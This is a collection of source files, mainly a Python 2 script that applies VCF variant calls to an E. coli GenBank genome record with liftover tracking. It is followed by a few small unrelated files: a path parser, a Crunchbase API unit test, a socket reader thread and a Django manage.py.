next block (query sequence) # NOTE: The last line of the alignment section contains only one # number: the ungapped alignment size of the last block. interval_index = 0 num_interval_mappings = len(self._interval_mapping) for interval_index in range(num_interval_mappings): # I am using the names '*reference*' and '*query*' in the sense # that the chain file uses them, where query sequence is the one # whose coordinates we are generally trying to convert into the # frame of the target. Typically the query sequence is the one # we mapped the VCF changes on top of. (current_reference_interval, current_query_interval) = ( self._interval_mapping[interval_index]) size = bases_in_interval(current_reference_interval) next_interval_index = interval_index + 1 if next_interval_index < num_interval_mappings: (next_reference_interval, next_query_interval) = ( self._interval_mapping[next_interval_index]) dt = (next_reference_interval[0] - current_reference_interval[1] - 1) dq = (next_query_interval[0] - current_query_interval[1] - 1) chain_file_fh.write('%d %d %d\n' % (size, dt, dq)) else: # This is the last line. Just write the block size. chain_file_fh.write('%d\n' % (size,)) def convert_source_position_to_target(self, source_position, or_next=False): """Converts a single position in the source genome to the corresponding position in the target genome (the one being updated). Args: source_position: Position in the source genome. (0-indexed). or_next: If True, when no direct mapping, return the next position. Returns: The position in the target genome, or None if mapping failed. """ assert isinstance(source_position, int), "source_position must be int." # For now, the algorithm is to first search every interval in the # internal interval mapping data structure until we find the one that # the source position lies in, and then find the corresponding target # position by using the relative offset of the source position within # the interval. for mapping_index in xrange(len(self._interval_mapping)): source_interval, target_interval = self._interval_mapping[ mapping_index] if source_interval[0] <= source_position <= source_interval[1]: interval_index = source_position - source_interval[0] return target_interval[0] + interval_index if or_next and source_position < source_interval[0]: return self.convert_source_position_to_target( source_interval[0], or_next=or_next) return None def convert_target_position_to_source(self, target_position): """Converts a single position in the target genome to the corresponding position in the source genome (the one being updated). Similar, but more limited than convert_source_position_to_target(). Args: target_position: Position in the target genome. (0-indexed). Returns: The position in the source genome, or None if mapping failed. """ assert isinstance(target_position, int), "target_position must be int." for mapping_index in xrange(len(self._interval_mapping)): source_interval, target_interval = self._interval_mapping[ mapping_index] if target_interval[0] <= target_position <= target_interval[1]: interval_index = target_position - target_interval[0] return source_interval[0] + interval_index return None def handle_insertion(self, variant_data): """Handles an insertion with the given data spec. """ # Create a new interval mapping and replace the member attribute # at the end. new_interval_mapping = [] # Parse the insert data object. insert_position = variant_data['position'] insert_sequence = variant_data['sequence'] len_insert_sequence = len(insert_sequence) # We use a state machine strategy to first find the interval # to insert, and then update all downstream target intervals. STATE_SEARCHING = 'SEARCHING' STATE_UPDATING_TARGET_DOWNSTREAM = 'UPDATING_TARGET_DOWNSTREAM' state = STATE_SEARCHING for idx, (source_interval, target_interval) in enumerate( self._interval_mapping): if state == STATE_SEARCHING: if source_interval[0] <= insert_position <= source_interval[1]: insert_position_index = insert_position - source_interval[0] # The source simply gets split. new_source_interval_upstream = (source_interval[0], insert_position - 1) new_source_interval_downstream = (insert_position, source_interval[1]) # The target gets split, with the downstream interval # shifted by the size of the insertion sequence. new_target_interval_upstream = (target_interval[0], target_interval[0] + insert_position_index - 1) new_target_interval_downstream = (target_interval[0] + insert_position_index + len_insert_sequence, target_interval[1] + len_insert_sequence) # Append the split sequence pairs. new_interval_mapping.append((new_source_interval_upstream, new_target_interval_upstream)) new_interval_mapping.append((new_source_interval_downstream, new_target_interval_downstream)) # Update the state for remaining iterations. state = STATE_UPDATING_TARGET_DOWNSTREAM elif insert_position < source_interval[0]: # The insert_position was deleted. Shift the target # interval downstream by the size of the insertion. new_source_interval = ( source_interval[0], source_interval[1]) new_target_interval = ( target_interval[0] + len(insert_sequence), target_interval[1] + len(insert_sequence)) assert (bases_in_interval(new_source_interval) == bases_in_interval(new_target_interval)) new_interval_mapping.append((new_source_interval, new_target_interval)) state = STATE_UPDATING_TARGET_DOWNSTREAM else: new_interval_mapping.append( (source_interval, target_interval)) else: # Shift all remaining target intervals. new_target_interval = ( target_interval[0] + len_insert_sequence, target_interval[1] + len_insert_sequence) new_interval_mapping.append((source_interval, new_target_interval)) if state == STATE_SEARCHING: raise RuntimeError("Error updating RuntimeLiftover with %s", ( str(variant_data,))) self._interval_mapping = new_interval_mapping def handle_deletion(self, variant_data): """Handles a deletion with the given data spec. Args: variant_data: Dictionary with keys: * interval: A two-tuple representing pythonic interval for the deletion, i.e. (inclusive_start, exclusive_end). e.g. (100, 102) is a deletion of the 2 bases at positions 100 and 101. Relative to the source genome. """ interval = variant_data['interval'] for source_position in range(*interval): delete_position = self.convert_source_position_to_target( source_position, or_next=True) delete_position = interval[0] delete_interval_size = 1 # Create a new interval mapping and replace the member attribute # at the end. new_interval_mapping = [] # We use a state machine strategy to first find the interval # to delete, and then update all downstream target intervals. STATE_SEARCHING = 'SEARCHING' STATE_UPDATING_TARGET_DOWNSTREAM = 'UPDATING_TARGET_DOWNSTREAM' state = STATE_SEARCHING for source_interval, target_interval in self._interval_mapping: if state == STATE_SEARCHING: if source_interval[0] <= delete_position <= source_interval[1]: delete_position_index = delete_position - source_interval[0] # The source simply gets split, dropping a base. new_source_interval_upstream = (source_interval[0], delete_position - 1) new_source_interval_downstream = ( delete_position + delete_interval_size, source_interval[1]) # The target gets split, including the position, but # reducing the size of this and all following intervals. new_target_interval_upstream = (target_interval[0], target_interval[0] + delete_position_index - 1) new_target_interval_downstream = ( target_interval[0] + delete_position_index, target_interval[1] - delete_interval_size) # Append the split sequence pairs. new_interval_mapping.append((new_source_interval_upstream, new_target_interval_upstream)) new_interval_mapping.append((new_source_interval_downstream, new_target_interval_downstream)) # Update the state for remaining iterations. state = STATE_UPDATING_TARGET_DOWNSTREAM elif delete_position < source_interval[0]: # The interval this delete_position would have fallen # into has been deleted, effectively delete the first # position in this current interval. new_source_interval = (source_interval[0] + 1, source_interval[1]) new_target_interval = (target_interval[0], target_interval[1] - 1) new_interval_mapping.append((new_source_interval, new_target_interval)) state = STATE_UPDATING_TARGET_DOWNSTREAM else: new_interval_mapping.append( (source_interval, target_interval)) else: # state == STATE_UPDATING_TARGET_DOWNSTREAM # Shift all remaining target intervals. new_target_interval = ( target_interval[0] - delete_interval_size, target_interval[1] - delete_interval_size) new_interval_mapping.append( (source_interval, new_target_interval)) if state == STATE_SEARCHING: raise RuntimeError("Error updating RuntimeLiftover for %s" % ( str(variant_data,))) self._interval_mapping = new_interval_mapping def bases_in_interval(interval): """Returns the number of bases in the liftover interval. These are inclusive on both ends, not Pythonic that is. """ return interval[1] - interval[0] + 1 class VCFToGenbankMaker(object): """Object that encapsulates the logic for updating a genbank file with changes from a vcf file. Usage: 1. Construct an instance according to the constructor signature. 2. Call run(). """ def __init__(self, genome_record, vcf_path, sample_id, manual_updates_filepath=None): """Constructor. """ # Keep a copy of the original genome record. self.original_genome_record = copy.deepcopy(genome_record) # The record that is mutated as we progress. self.genome_record = genome_record # Save the path to the vcf. We'll use the vcf.Reader stream reader # object when we actually need to handle it. self.vcf_path = vcf_path # The specific sample in the vcf. self.sample_id = sample_id # Location with manual updates. Might be None. self.manual_updates_filepath = manual_updates_filepath # Object used to track the dynamically changing interval mapping # positions in the original genome record with respect to which # vcf positions were identified to the most up-to-date genome. self.runtime_liftover = RuntimeLiftover(self.original_genome_record) def run(self, verbose=False, log_file=None): """Performs the actual updating. """ # Manually add annotations for TAG. add_TAG_annotations(self.genome_record) # Add changes made manually. if self.manual_updates_filepath: if verbose: print '...Handling manual updates...' self.handle_manual_updates() if verbose: print '...Done handling manual updates.' # Extra data to add to features. position_to_data_map = get_vcf_metadata() # Keep track of which vcf changes were actually made. vcf_positions_updated = [] if verbose: print 'Handling vcf...' with open(self.vcf_path) as vcf_fh: vcf_reader = vcf.Reader(vcf_fh) sample_index = vcf_reader.samples.index(self.sample_id) for idx, record in enumerate(vcf_reader): if verbose: print idx, record # metadata = position_to_data_map.get(record.POS, None) metadata = None was_change_made = self.handle_vcf_record( record, sample_index, metadata) assert isinstance(was_change_made, bool), ( "handle_vcf_record() must return a boolean.") if was_change_made: vcf_positions_updated.append(record.POS) # Write debug output for which changes were actually made. if log_file: with open(log_file, 'w') as log_fh: for pos in vcf_positions_updated: log_fh.write(str(pos) + '\n') def handle_manual_updates(self): """Adds manual updates from an external file with the following tab-separated fields: * Cassette * Comment * LP * RP * Sequence """ assert self.manual_updates_filepath, "No manual updates specified." with open(self.manual_updates_filepath) as fh: line = fh.readline() # Skip the header. line = fh.readline() while line: # Parse the arguments. args = line.split('\t') if not len(args) >= 3: line = fh.readline() continue fix_id = args[0] note = args[1] left_bp = int(args[2].strip()) right_bp = int(args[3].strip()) if len(args) == 5 and len(args[4].strip()): seq = args[4].strip() else: seq = None # Process the args to get the data necessary to make the update. pythonic_start = left_bp - 1 pythonic_end = right_bp - 1 ref = str(self.original_genome_record.seq[ pythonic_start:pythonic_end]) if seq: alt = seq else: alt = '' # Make the update for this record. self._update_genome_record_for_variant( pythonic_start, ref, alt, note) # Continue to next line. line = fh.readline() # def add_cassette_modifications(self, cassette_modifications_csv): # """Method that allows adding modifications to a cassette relative # to the starting position of the cassette. # This might be desired where the cassettes come from some canonical # source, but in the current context they have modifications. # Args: # cassette_modifications_csv: List of modifications to make, described # with the following columns: # * cassette_id: Unique id for the cassette as provided in the # manual updates file. # * comment # * position: 1-based index of the mutation start. # * ref: What was there previously. # * alt: The alternate value for the position. Currently in # vcf output format with square brackets. # """ # with open(variant_data_csv) as csv_fh: # csv_reader = csv.DictReader(csv_fh) # for row in csv_reader: # pass def update_from_variant_data_csv(self, variant_data_csv): """Updates the genome given a list of variants in a csv. Args: variant_data_csv: Path to .csv file containing the following cols: Required: * position - Position in the starting genome. * ref - Reference sequence at that position. * alt - The alternative to replace with. Optional: * note - A note to add to the data. """ with open(variant_data_csv) as csv_fh: csv_reader = csv.DictReader(csv_fh) for row in csv_reader: pythonic_start = int(row['position']) - 1 ref = row['ref'] # NOTE: Hacky way of parsing that works for the way that # our particular data looks. alt = row['alt'][1:-1] if 'note' in row: note = row['note'] else: note = None # Make the update for this record. self._update_genome_record_for_variant( pythonic_start, ref, alt, note=note) def handle_vcf_record(self, record, sample_index, metadata=None): """Decides what to do with a single VCF call. """ # The specific sample for this record. # NOTE: The vcf may have been generated across many samples at the # same time but this script only operates on a single sample. sample = record.samples[sample_index] # If not called, then nothing to do. if not sample.called: return False # Get the reference and alternate for this call. # NOTE: We reduce generality from what pyvcf since we are dealing # with a single sample. phase_char = sample.gt_phase_char() alts = sample.gt_bases.split(phase_char) # TODO: Figure out proper way to handle homozygous vs heterozygous. # assert len(set(alts)) == 1, ( # "Error while processing %s.\n" # "We presently only support homozygous calls" % # (str(record))) # HACK: For now, if we see a record that we should handle, we # assume that we should take the first alt that is different than # the ref. ref = record.REF for alt_candidate in alts: alt = alt_candidate if alt == ref: continue pythonic_position = record.POS - 1 try: return self._update_genome_record_for_variant( pythonic_position, ref, alt, metadata=metadata) except AssertionError as e: raise AssertionError( "AssertionError while fixing record %s\n%s" % ( str(record), str(e))) def _update_genome_record_for_variant(self, pythonic_position, ref, alt, note=None, metadata=None): """Updates self.genome_record with the passed in data. Logic extracted into own method for testing. """ ref = ref.upper() alt = alt.upper() if ref == alt: # Nothing to do. return False # First, check whether the genome already looks like what it would # after the variant is fixed. We do this by fake-removing the ref # and adding the alt. # NOTE: One specific case that causes this issue is when we are # manually making the TAG changes before applying the rest of the # variants called in the VCF. This may bite us down the road, but this # whole script should probably be re-written in the near future. first_base_position = ( self.runtime_liftover.convert_source_position_to_target( pythonic_position, or_next=True)) fake_seq = str( self.genome_record.seq[:first_base_position] + alt + self.genome_record.seq[first_base_position + len(ref):]) if (fake_seq == str(self.genome_record.seq)): # Nothing to do. return False # The reason we don't just switch out the sequence above is that # we need to get the annotations right. # NOTE: Or is the above actually a more elegant way to do what follows? # Now determine the kind of mutation. if _is_snp(ref, alt): return self.handle_snp({ 'position': pythonic_position, 'ref': ref, 'alt': alt }, metadata=metadata) elif _is_deletion(ref, alt): deleted_subseq = _get_deletion(ref, alt) deleted_subseq_index_start = ref.rindex(deleted_subseq) assert len(deleted_subseq) == len(ref) - deleted_subseq_index_start deleted_subseq_start = (pythonic_position + deleted_subseq_index_start) return self.handle_deletion({ 'interval': (deleted_subseq_start, deleted_subseq_start + len(deleted_subseq)), 'validation_seq': deleted_subseq }, note=note, metadata=metadata) elif _is_insertion(ref, alt): insertion_seq = _get_insertion(ref, alt) alt_insertion_start_index = alt.rindex(insertion_seq) assert len(insertion_seq) == len(alt) - alt_insertion_start_index, ( "Error handling insertion: ref: %s, alt: %s, position: d" % (ref, alt, pythonic_position)) insertion_start = pythonic_position + alt_insertion_start_index return self.handle_insertion({ 'position': insertion_start, 'sequence': insertion_seq }, note=note, metadata=metadata) else: # Since we can't exactly tell, just delete ref and insert alt. validation_seq = str(self.original_genome_record.seq[ pythonic_position:pythonic_position + len(ref)]) self.handle_deletion({ 'interval': (pythonic_position, pythonic_position + len(ref)), 'validation_seq': validation_seq }, add_annotation=False) self.handle_insertion({ 'position': pythonic_position, 'sequence': alt }, add_annotation=False) #### Calculate data for the annotation. # The source interval is the interval that was removed # from the source. source_interval = (pythonic_position, pythonic_position + len(ref)) # The insertion is not mapped in the liftover after the insertion, # so grab the starting position. target_genome_start = ( self.runtime_liftover.convert_source_position_to_target( pythonic_position - 1, or_next=True) + 1) feature_id = 'misc_variant_source_%d-%d' % source_interval feature_location = FeatureLocation( target_genome_start, target_genome_start + len(alt)) feature = SeqFeature( type=VARIANT_ANNOTATION_TYPE, location=feature_location, strand=1, id=feature_id ) if len(ref) <= MAX_REPLACE_CHARS: feature.qualifiers['replace'] = ref.lower() else: feature.qualifiers['replace'] = '%d base replacement' % len(ref) if note: feature.qualifiers['note'] = note if metadata: for key, value in metadata.iteritems(): if value: feature.qualifiers[key] = value add_feature_to_seq_record(self.genome_record, feature) return True def handle_snp(self, variant_data, add_annotation=True, note=None, metadata=None): """Handle a single nucleotide position change. """ source_snp_position = variant_data['position'] ref_base = variant_data['ref'] alt_base = variant_data['alt'] snp_size = 1 # First, translate the position to the frame of the updated genome. snp_position = ( self.runtime_liftover.convert_source_position_to_target( source_snp_position)) if not snp_position: # Nothing to do. This exact position has probably been deleted. return False # Make sure the ref is what is expected. This is a non-thorough # but reasonable and bug check. assert ref_base == self.genome_record.seq[snp_position], ( "Error fixing SNP at " "source position %d, " "target position %d, " "Expected: %s, observed: %s" % ( source_snp_position, snp_position, ref_base, self.genome_record.seq[snp_position])) new_seq = ( self.genome_record.seq[:snp_position] + alt_base + self.genome_record.seq[snp_position + 1:]) self.genome_record.seq = new_seq if add_annotation: # Add feature marking SNP. snp_feature_location = FeatureLocation( snp_position, snp_position + snp_size) snp_feature_id = 'snp_source_%d_%s_to_%s' % ( source_snp_position, ref_base, alt_base) snp_feature = SeqFeature( type=VARIANT_ANNOTATION_TYPE, location=snp_feature_location, strand=1, id=snp_feature_id ) snp_feature.qualifiers['replace'] = ref_base.lower() if note: snp_feature.qualifiers['note'] = note if metadata: for key, value in metadata.iteritems(): if value: snp_feature.qualifiers[key] = value add_feature_to_seq_record(self.genome_record, snp_feature) # Change as made. return True def handle_insertion(self, variant_data, add_annotation=True, note=None, metadata=None): """Handles an insertion at the position relative to the original genome. Args: variant_data: Dictionary with keys: * position: Pythonic position for the insertion relative to the original genome record. * sequence: The sequence being inserted. One or more bases. """ source_position = variant_data['position'] seq = variant_data['sequence'] # First, translate the position to the frame of the updated genome. target_genome_position = ( self.runtime_liftover.convert_source_position_to_target( source_position, or_next=True)) # Insert the sequence at the provided position. insert_sequence_and_update_features(self.genome_record, seq, target_genome_position, extend_feature_ends=True) # Update the liftover interval mapping. self.runtime_liftover.handle_insertion(variant_data) if add_annotation: # Add a feature annotating the insertion. feature_id = 'insertion_source_%s' % (source_position,) feature_location = FeatureLocation(target_genome_position, target_genome_position + len(seq)) feature = SeqFeature( type=VARIANT_ANNOTATION_TYPE, location=feature_location, strand=1, id=feature_id ) # TODO: This doesn't work with the .tbl format. # Figure out how to fix this. # feature.qualifiers['replace'] = '' if note: feature.qualifiers['note'] = note if metadata: for key, value in metadata.iteritems(): if value: feature.qualifiers[key] = value add_feature_to_seq_record(self.genome_record, feature) # Change as made. return True def handle_deletion(self, variant_data, add_annotation=True, note=None, metadata=None): """Handles a deletion. After this operation, the genome_record reflects the deletion. Args: variant_data: Dictionary with keys: * interval: A two-tuple representing pythonic interval for the deletion, i.e. (inclusive_start, exclusive_end). e.g. (100, 102) is a deletion of the 2 bases at positions 100 and 101. * validation_seq: If provided, used to validate that the interval being deleted is this sequence. """ interval = variant_data['interval'] # Inclusive-bounds interval for the target. target_genome_interval = [ self.runtime_liftover.convert_source_position_to_target( bound, or_next=True) for bound in (interval[0], interval[1] - 1)] assert (bases_in_interval(target_genome_interval) == interval[1] - interval[0]) target_genome_interval_pythonic = ( target_genome_interval[0], target_genome_interval[1] + 1) delete_interval(self.genome_record, target_genome_interval_pythonic, validation_seq=variant_data.get('validation_seq', None)) # Update the liftover mapping. self.runtime_liftover.handle_deletion({ 'interval': interval }) if add_annotation: # Add a feature annotating the deletion. # Calculate the target genome interval for the annotation. # Annotate from the position before the deletion to the position # after. target_genome_interval_after_deletion = [ self.runtime_liftover.convert_source_position_to_target( bound, or_next=True) for bound in (interval[0] - 1, interval[1])] feature_id = 'deletion_source_%d-%d' % ( interval[0], interval[1]) feature_location = FeatureLocation( target_genome_interval_after_deletion[0], target_genome_interval_after_deletion[1]) feature = SeqFeature( type=VARIANT_ANNOTATION_TYPE, location=feature_location, strand=1, id=feature_id ) ref = variant_data.get('validation_seq', '') if len(ref) <= MAX_REPLACE_CHARS: feature.qualifiers['replace'] = ref.lower() else: feature.qualifiers['replace'] = '%d base deletion' % len(ref) feature.qualifiers['source_deletion_interval'] = str(interval) if note: feature.qualifiers['note'] = note if metadata: for key, value in metadata.iteritems(): if value: feature.qualifiers[key] = value add_feature_to_seq_record(self.genome_record, feature) # Change as made. return True ############################################################################### # Main procedure entrypoint ############################################################################### def run(original_genbank_path, output_root, vcf_path, sample_id, **kwargs): """Creates a modified genbank file starting from the original genbank and applying the changes indicated in the vcf file. Args: original_genbank_path: Path to the original genbank file. output_root: Root of filename, without extension. The extension will be appended to the name depending on the output type. vcf_path: Path to the vcf file. sample_id: Id of the targete in the vcf, e.g. recoli_misq_c31_321D. kwargs: Optional keyword args. Supported keys: * liftover_pickle_dest: The output file to write the pickled liftover interval mapping to. * output_format: One of 'fasta' or 'genbank'. Defaults to 'genbank'. * variant_data_csv: If included, will use update_from_variant_data_csv() rather than standard run. * verbose: Toggle for amount of informative print statements during processing. Returns: The final SeqRecord that was also written to output. """ # Strategy: # Iterate through the calls in the VCF file and incrementally # update the genome record. There are tricky subtleties including: # * The frame of the target genome is constantly changing. # Nuances: When adding insertions/deletions, this may shift the overall # frame of the genome downstream from that particular position. We need a # liftover-like intermediate representation that allows us # to keep track of these accumulated shifts. For example, every successive # change that we want to make should have its position updated using # this method. That way, the annotation can potentially preserve the # position of the SNP relative to the original record, but we can # introduce the changes into the underlying sequence and update all # features appropriately. if isinstance(original_genbank_path, SeqRecord): genome_record = original_genbank_path else: # Read in the original genome. genome_record = SeqIO.read(original_genbank_path, 'genbank') # Get optional manual updates file. if 'manual_updates_filepath' in kwargs: manual_updates_filepath = kwargs['manual_updates_filepath'] else: manual_updates_filepath = None # Create the object that encapsulates most of the calculation. vcf_to_genbank_maker = VCFToGenbankMaker(genome_record, vcf_path, sample_id, manual_updates_filepath) if 'variant_data_csv' in kwargs: vcf_to_genbank_maker.update_from_variant_data_csv( kwargs['variant_data_csv']) else: vcf_to_genbank_maker.run( verbose=kwargs.get('verbose', False), log_file=kwargs.get('log_file', None)) # Write the final result. DEFAULT_OUTPUT_FORMAT = 'genbank' output_format = kwargs.get('output_format', DEFAULT_OUTPUT_FORMAT) output_path = output_root + '.' + output_format SeqIO.write(genome_record, output_path, output_format) # Optional: Pickle the liftover interval mappings. if 'liftover_pickle_dest' in kwargs: vcf_to_genbank_maker.runtime_liftover.pickle_interval_mapping( kwargs['liftover_pickle_dest']) return genome_record ############################################################################### # Helpers to evaluate SNP type. ############################################################################### def _is_snp(ref, alt): return len(ref) == 1 and alt in ['A', 'T', 'G', 'C'] def _is_deletion(ref, alt): return _get_deletion(ref, alt) is not None def _get_deletion(ref, alt): """Extracts the portion of ref that is deleted relative to alt. Returns None if no valid deletion found. """ if len(ref) <= len(alt): return None if len(alt) == 0: return ref # Make sure they are both uppercase for matching procedure below. ref = ref.upper() alt = alt.upper() # Step through the two simultaneously until the first mismatch. idx = 0 while idx < len(alt): if ref[idx] != alt[idx]: break idx += 1 if idx < len(alt): # Our definition of deletion requirex the entire alt to be matched. return None deletion = ref[idx:] if not deletion: return None return deletion def _is_insertion(ref, alt): return _get_insertion(ref, alt) is not None def _get_insertion(ref, alt): """Extracts the portion of alt that inserted relative to alt. """ # Just call _get_deletion with params reversed. return _get_deletion(alt, ref) ############################################################################### # Other utility methods ############################################################################### def create_filtered_vcf(vcf_path, out_vcf_path, csv_with_pos_to_keep): """Filters the passed in vcf down to the variant calls that we actually want to add to the updated genbank file. Writes the results to out_vcf_path. The reason for this method that cleans up the vcf, rather than just using the csv directly is that the logic for going from vcf to genbank will hopefully be re-usable, so we might as take a first stab at it here. """ # Positions uniquely identify SNPs (manually confirmed). The provided # csv file should only have SNPs that we are keeping. positions_to_keep = set([]) with open(csv_with_pos_to_keep) as csv_fh: csv_reader = csv.DictReader(csv_fh) for row in csv_reader: positions_to_keep.add(int(row['POS'])) # Now create a filtered a vcf with only the above positions. with open(vcf_path) as vcf_fh, open(out_vcf_path, 'w') as out_vcf_fh: vcf_reader = vcf.Reader(vcf_fh) vcf_writer = vcf.Writer(out_vcf_fh, vcf_reader) for record in vcf_reader: if record.POS in positions_to_keep: vcf_writer.write_record(record) def add_TAG_annotations(genome_record): """Temporary method for adding our UAG mutations manually. Mutates the passed in genome_record by adding features for the amber SNPs. """ TAG_ANNOTATION_TYPE = VARIANT_ANNOTATION_TYPE UAG_LOCATIONS_FILE = os.path.join( GENOMES_DIR, 'mg1655', 'mg1655_uag_locations.csv') # Import the list of UAG locations and make the positions 0-indexed # to be consistent with the BioPython convention. uag_location_list = [] with open(UAG_LOCATIONS_FILE) as fh: fh.readline() # Drop the first line for line in fh.readlines(): uag_location_list.append(int(line.strip()) - 1) uag_location_list = sorted(uag_location_list) for current_uag_position in uag_location_list: current_base = genome_record.seq[current_uag_position] if current_base == 'G': alt_base = 'A' feature_location = FeatureLocation( current_uag_position - 2, current_uag_position + 1) feature_strand = 1 elif current_base == 'C': alt_base = 'T' feature_location = FeatureLocation( current_uag_position, current_uag_position + 3) feature_strand = -1 else: raise AssertionError("Invalid base at position %d: %s" % ( current_uag_position, current_base)) # Update the sequence. new_seq = ( genome_record.seq[:current_uag_position] + alt_base + genome_record.seq[current_uag_position + 1:]) genome_record.seq = new_seq # Add a feature annotation. feature_id = 'remove_uag_%d' % current_uag_position feature = SeqFeature( type=TAG_ANNOTATION_TYPE, location=feature_location, strand=feature_strand, id=feature_id ) feature.qualifiers['replace'] = 'tag' feature.qualifiers['note'] = 'Reassigning UAG' add_feature_to_seq_record(genome_record, feature) def get_vcf_metadata(): """Returns a dictionary with keys being SNP positions and values being the data from DBG's analysis with SnpEFF etc. """ VARIANT_METADATA = os.path.join(REC1_C321D_ROOT, 'rec1_c321d_snps.csv') position_to_data_map = {} with open(VARIANT_METADATA) as csv_fh: csv_reader = csv.DictReader(csv_fh) for row in csv_reader: position_to_data_map[int(row['POS'])] = { 'EFF_AA': row['EFF_AA'], 'EFF_CODON': row['EFF_CODON'], 'EFF_FUNC': row['EFF_FUNC'], 'EFF_SEV': row['EFF_SEV'], } return position_to_data_map ############################################################################### # Testing and scripting ############################################################################### if __name__ == '__main__': MG1655_GENBANK = os.path.join(GENOMES_DIR, 'mg1655', 'mg1655.genbank') RECOLI_ALL_SNPS = os.path.join(REC1_C321D_ROOT, 'recoli_all_snps.vcf') C321D_SNPS_VCF = os.path.join(REC1_C321D_ROOT, 'rec1_c321d_snps.vcf') REC1_C321D_SAMPLE_ID = 'recoli_misq_c31_321D' REC1_C321D_OUTPUT_ROOT = os.path.join(REC1_C321D_ROOT, 'rec1_c321d') REC1_C321D_PRELIM_OUTPUT_ROOT = os.path.join(REC1_C321D_ROOT, 'rec1_c321d.preliminary') PICKLE_DEST = os.path.join(REC1_C321D_ROOT, 'rec1_c321d_liftover.pickle') MANUAL_UPDATES = os.path.join(REC1_C321D_ROOT, 'rec1_c321d_manual_fixes.txt') # # First filter the edits that we actually want to keep. # # TODO: Make the run() method take as an optional argument a user-specified # # argument for filtering which vcf rows are incorporated into the Genbank. # CSV_WITH_POS_TO_KEEP = os.path.join(REC1_C321D_ROOT, 'rec1_c321d_snps.csv') # create_filtered_vcf(RECOLI_ALL_SNPS, C321D_SNPS_VCF, CSV_WITH_POS_TO_KEEP) # Now run the genbank creator. kwargs = { 'liftover_pickle_dest': PICKLE_DEST, 'manual_updates_filepath': MANUAL_UPDATES, 'output_format': 'genbank', 'verbose': True } run(MG1655_GENBANK, REC1_C321D_OUTPUT_ROOT, C321D_SNPS_VCF, REC1_C321D_SAMPLE_ID, **kwargs) ### Developing manual updates # REC1_C321D_MANUAL_ONLY_OUT = os.path.join(REC1_C321D_ROOT, # 'rec1_c321d_manual_only.genbank') # genome_record = SeqIO.read(MG1655_GENBANK, 'genbank') # vcf_to_genbank_maker = VCFToGenbankMaker(genome_record, None, # None, MANUAL_UPDATES) # vcf_to_genbank_maker.handle_manual_updates() # SeqIO.write(genome_record, REC1_C321D_MANUAL_ONLY_OUT, 'genbank') ### Developing chain file output. # runtime_liftover = RuntimeLiftover(genome_record) # runtime_liftover.pickle_interval_mapping(PICKLE_DEST) # print runtime_liftover._interval_mapping # CHAIN_FILE_DEST = os.path.join(GENOMES_DIR, 'mg1655.to.rec1_c321d.chain') # runtime_2 = RuntimeLiftover.from_pickled_intervals( # [], PICKLE_DEST) # runtime_2.write_chain_file(CHAIN_FILE_DEST) ### Generating source genome positions for c321D Genbank SNPs # OUT_CSV_FIELD_NAMES = ['position', 'ref', 'alt', 'mg1655_position'] # REALIGNED_SNPS_IN = os.path.join(REC1_C321D_ROOT, 'realignment_snps.csv') # REALIGNED_SNPS_WITH_MG1655_POS = os.path.join( # REC1_C321D_ROOT, 'realignment_snps_with_mg1655_positions.csv') # MG1655_GENOME_RECORD = SeqIO.read(MG1655_GENBANK, 'genbank') # runtime_liftover_obj = RuntimeLiftover.from_pickled_intervals( # MG1655_GENOME_RECORD, PICKLE_DEST) # with open(REALIGNED_SNPS_WITH_MG1655_POS, 'w') as out_csv_fh: # csv_writer = csv.DictWriter(out_csv_fh, OUT_CSV_FIELD_NAMES) # csv_writer.writeheader() # with open(REALIGNED_SNPS_IN) as in_csv_fh: # csv_reader = csv.DictReader(in_csv_fh) # for row in csv_reader: # out_row = copy.copy(row) # # Convert the position. Note the indexing correction. # c321d_position_pythonic = int(row['position']) - 1 # mg1655_position_pythonic = ( # runtime_liftover_obj.convert_target_position_to_source( # c321d_position_pythonic)) # if mg1655_position_pythonic is not None: # # Validation check that the base at that position is # # correct. # assert row['ref'][0] == ( # runtime_liftover_obj.source_genome_record.seq[ # mg1655_position_pythonic]) # # Make the position one-indexed to be consistent # # with the vcf standard. # mg1655_position = mg1655_position_pythonic + 1 # else: # mg1655_position = None # out_row['mg1655_position'] = mg1655_position # csv_writer.writerow(out_row)

[ "gleb.kuznetsov@gmail.com" ]

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#!/usr/bin/python class PathParser: def __init__(self, path = None): self.path = path self.components = path.split('/') del self.components[0]

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from datetime import datetime from unittest import TestCase from pycrunchbase import Person PERSON_DATA = { "uuid": "uuid", "type": "Person", "properties": { "permalink": "first-last", "last_name": "Last", "first_name": "First", "bio": "Bio", "role_investor": True, "born_on": "2000-01-02", "born_on_trust_code": 7, "is_deceased": False, "died_on": None, "died_on_trust_code": 0, "created_at": 1233271545, "updated_at": 1419596914, }, "relationships": { "news": { "cardinality": "OneToMany", "paging": { "total_items": 2, "first_page_url": "https://api.crunchbase.com/v3.1/person/first-last/news", "sort_order": "created_at DESC" }, "items": [ { "url": "http://example.com/news_1/", "author": "Author 1", "posted_on": "2012-12-28", "type": "PressReference", "title": "Title 1", "created_at": 1356743058, "updated_at": 2012 }, { "url": "example.com/news_2/", "author": "Author 2", "posted_on": "2012-04-20", "type": "PressReference", "title": "Title 2", "created_at": 1334962777, "updated_at": 2012 }, ] } } } class PersonTestCase(TestCase): def test_properties(self): person = Person(PERSON_DATA) self.assertEqual(person.permalink, 'first-last') self.assertEqual(person.last_name, 'Last') self.assertEqual(person.first_name, 'First') self.assertEqual(person.bio, 'Bio') self.assertEqual(person.role_investor, True) self.assertEqual(person.born_on, datetime(2000, 1, 2)) self.assertEqual(person.born_on_trust_code, 7) self.assertEqual(person.is_deceased, False) self.assertEqual(person.died_on, None) self.assertEqual(person.died_on_trust_code, 0) def test_relationships(self): person = Person(PERSON_DATA) self.assertIsNotNone(person.news) self.assertEqual(2, len(person.news))

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import threading import json import status class Reader(threading.Thread): def __init__(self, threadId, socket): threading.Thread.__init__(self) self.threadId = threadId self.socket = socket def run(self): while True: receivedBytes = self.socket.recv(1024) print(str(receivedBytes)) receivedJson = json.loads(receivedBytes) code = receivedJson['code'] if code == 3 or code == 5: status.status = True print(receivedJson['data'])

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#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'asb1.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()

